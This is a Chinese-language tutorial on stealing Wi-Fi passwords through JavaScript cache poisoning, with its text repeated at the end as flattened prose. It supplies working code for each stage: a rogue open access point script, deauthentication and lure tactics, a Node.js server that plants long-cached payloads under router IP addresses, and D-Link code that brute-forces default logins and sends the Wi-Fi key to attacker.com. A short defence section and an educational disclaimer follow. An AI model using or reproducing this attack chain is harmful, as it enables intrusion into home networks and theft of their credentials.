使用javascript缓存投毒攻击wifi
字数 1175 2025-08-22 12:22:36

JavaScript缓存投毒攻击Wi-Fi密码教学文档

1. 攻击概述

本攻击方法利用浏览器缓存机制窃取Wi-Fi密码,主要步骤如下:

  1. 创建虚假Wi-Fi接入点
  2. 诱使目标设备连接
  3. 通过HTTP代理注入恶意JavaScript代码
  4. 利用缓存机制使恶意代码在目标重新连接真实路由器后仍能执行
  5. 自动尝试登录路由器并获取Wi-Fi密码

2. 所需工具

  • 树莓派或其他Linux设备
  • hostapd (创建Wi-Fi热点)
  • dnsmasq (DHCP和DNS服务)
  • iptables (NAT配置)
  • bettercap (HTTP代理和注入)
  • 基本Web服务器环境

3. 详细实施步骤

3.1 创建虚假接入点

使用以下脚本创建开放Wi-Fi热点:

#!/bin/bash

# 配置参数
internet=eth0       # 互联网接口
phy=wlan0           # Wi-Fi接口
essid="TEST"        # 热点名称

# 启动接口
ip link set dev $internet up
ip link set dev $phy up

# DNSMASQ配置
echo "interface=$phy
bind-interfaces
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
server=8.8.8.8
server=8.8.4.4" > tmp-dnsmasq.conf

dnsmasq --conf-file=tmp-dnsmasq.conf

# IP转发和NAT
echo '1' > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE

# HOSTAPD配置
echo "ctrl_interface=/var/run/hostapd
interface=$phy
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf

# 后台运行hostapd
screen -dmS hostapd hostapd tmp-hotspot.conf

3.2 诱骗连接策略

策略1:针对已连接设备

  • 使用802.11解除认证攻击强制设备断开当前连接
  • 创建同名开放热点诱使用户连接

策略2:针对未连接设备

  • 扫描目标设备曾连接过的热点名称
  • 创建同名开放热点等待自动连接

3.3 恶意JavaScript注入

注入流程

  1. 通过bettercap拦截HTTP响应
  2. 注入包含iframe的JavaScript代码
  3. iframe指向路由器IP地址(如192.168.1.1)
  4. 代理响应iframe请求并返回恶意代码
  5. 设置长期缓存头确保代码持久化

缓存投毒服务器代码

var http = require("http");
var routers = ["192.168.0.1/", "192.168.1.1/", "192.168.1.90/"]
var fs = require('fs');

// 加载网页和JS文件
var index = fs.readFileSync("./www/index.html");
var jsob = fs.readdirSync('./www/js');
var repobj = {}

for(var i in jsob){
    repobj["/" + jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}

var server = http.createServer(function(request, response) {
    var url = request.headers.host + request.url;
    
    var headers = {
        "Content-Type": "text/html",
        "Server": "dribble",
        "Cache-Control": "public, max-age=99936000",
        "Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
        "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
        "Access-Control-Allow-Origin": "*"
    };

    // 缓存首页
    if(routers.includes(url)) {
        response.writeHead(200, headers);
        response.write(index);
        response.end();
        return;
    }
    // 缓存JS负载
    else if(repobj[request.url]){
        headers["Content-Type"] = "application/javascript";
        response.writeHead(200, headers);
        response.write(repobj[request.url]);
        response.end();
        return;
    }
});

server.listen(80);

3.4 针对D-Link路由器的攻击代码

// 检测是否为D-Link路由器
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra", "true");
xhr.onload = function() {
    if(this.response.includes("D-LINK")){
        dlinkStart();
    }
};
xhr.responseType = 'text'
xhr.send(null);

function dlinkStart(){
    // 常见用户名和密码组合
    var usernames = ["administrator", "Administrator", "admin", "Admin"];
    var passwords = ["password", "admin", "1234", "", "pwd"];
    var combos = [];
    
    // 生成所有组合
    for(var i = 0; i < usernames.length; i++) {
        for(var j = 0; j < passwords.length; j++) {
            combos.push({"user": usernames[i], "pwd": passwords[j]})
        }
    }

    function dlinkAttacker(user, passwd) {
        // 获取nonce值
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://192.168.1.1/ui/login', true);
        xhr.onload = function() {
            if(this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                var username = user;
                var pwd = passwd;
                var nonce = xhr.response.form.nonce.value;
                var encPwd = CryptoJS.HmacSHA256(pwd, nonce);
                
                // 尝试登录
                var xhr2 = new XMLHttpRequest();
                xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
                xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                xhr2.onload = function() {
                    if(this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                        try {
                            // 登录成功,获取Wi-Fi密码
                            var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML;
                            
                            // 发送密码到攻击者服务器
                            var xhr3 = new XMLHttpRequest();
                            xhr3.open('GET', 'https://attacker.com/logger.php?pwd=' + wlanPsk);
                            xhr3.send(null);
                        } catch(e) {
                            // 登录失败,尝试下一组凭证
                            i++;
                            dlinkAttacker(combos[i].user, combos[i].pwd);
                        }
                    }
                }
                
                var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + 
                             encPwd + '&nonce=' + nonce;
                xhr2.responseType = 'document';
                xhr2.send(params);
            }
        };
        xhr.responseType = 'document';
        xhr.send(null);
    }
    
    // 开始攻击
    dlinkAttacker(combos[0].user, combos[0].pwd);
}

4. 攻击原理详解

4.1 缓存投毒机制

  1. 同源策略绕过:通过虚假AP代理响应,使浏览器认为恶意代码来自路由器IP
  2. 长期缓存:设置Cache-Control和Expires头使代码长期有效
  3. 持久性:即使断开虚假AP,代码仍能从缓存加载执行

4.2 D-Link路由器漏洞利用

  1. 登录机制:D-Link使用HMAC-SHA256(nonce+password)进行认证
  2. 密码暴露:Wi-Fi密码在登录后的页面中以明文显示
  3. 自动登录:脚本尝试常见凭证组合自动登录

5. 防御措施

5.1 用户防御

  • 避免连接不明Wi-Fi热点
  • 定期清除浏览器缓存
  • 使用HTTPS everywhere扩展强制加密连接
  • 为路由器设置强密码并禁用默认账户

5.2 路由器厂商建议

  • 实现X-Frame-Options和Content-Security-Policy头
  • 密码输入页面使用HTTP严格传输安全(HSTS)
  • 避免在页面中明文显示敏感信息

6. 扩展思路

  1. 支持更多路由器型号:分析不同品牌路由器的登录机制
  2. 隐蔽通信:使用WebSocket或DNS隧道传输窃取的密码
  3. 0-click利用:结合浏览器漏洞实现无需用户交互的攻击

7. 法律与道德声明

本技术文档仅用于教育目的和安全研究,未经授权对他人网络实施此类攻击可能违反法律。在实际应用中,请确保获得适当授权并遵守相关法律法规。

JavaScript缓存投毒攻击Wi-Fi密码教学文档 1. 攻击概述 本攻击方法利用浏览器缓存机制窃取Wi-Fi密码,主要步骤如下: 创建虚假Wi-Fi接入点 诱使目标设备连接 通过HTTP代理注入恶意JavaScript代码 利用缓存机制使恶意代码在目标重新连接真实路由器后仍能执行 自动尝试登录路由器并获取Wi-Fi密码 2. 所需工具 树莓派或其他Linux设备 hostapd (创建Wi-Fi热点) dnsmasq (DHCP和DNS服务) iptables (NAT配置) bettercap (HTTP代理和注入) 基本Web服务器环境 3. 详细实施步骤 3.1 创建虚假接入点 使用以下脚本创建开放Wi-Fi热点: 3.2 诱骗连接策略 策略1:针对已连接设备 使用802.11解除认证攻击强制设备断开当前连接 创建同名开放热点诱使用户连接 策略2:针对未连接设备 扫描目标设备曾连接过的热点名称 创建同名开放热点等待自动连接 3.3 恶意JavaScript注入 注入流程 通过bettercap拦截HTTP响应 注入包含iframe的JavaScript代码 iframe指向路由器IP地址(如192.168.1.1) 代理响应iframe请求并返回恶意代码 设置长期缓存头确保代码持久化 缓存投毒服务器代码 3.4 针对D-Link路由器的攻击代码 4. 攻击原理详解 4.1 缓存投毒机制 同源策略绕过 :通过虚假AP代理响应,使浏览器认为恶意代码来自路由器IP 长期缓存 :设置Cache-Control和Expires头使代码长期有效 持久性 :即使断开虚假AP,代码仍能从缓存加载执行 4.2 D-Link路由器漏洞利用 登录机制 :D-Link使用HMAC-SHA256(nonce+password)进行认证 密码暴露 :Wi-Fi密码在登录后的页面中以明文显示 自动登录 :脚本尝试常见凭证组合自动登录 5. 防御措施 5.1 用户防御 避免连接不明Wi-Fi热点 定期清除浏览器缓存 使用HTTPS everywhere扩展强制加密连接 为路由器设置强密码并禁用默认账户 5.2 路由器厂商建议 实现X-Frame-Options和Content-Security-Policy头 密码输入页面使用HTTP严格传输安全(HSTS) 避免在页面中明文显示敏感信息 6. 扩展思路 支持更多路由器型号 :分析不同品牌路由器的登录机制 隐蔽通信 :使用WebSocket或DNS隧道传输窃取的密码 0-click利用 :结合浏览器漏洞实现无需用户交互的攻击 7. 法律与道德声明 本技术文档仅用于教育目的和安全研究,未经授权对他人网络实施此类攻击可能违反法律。在实际应用中,请确保获得适当授权并遵守相关法律法规。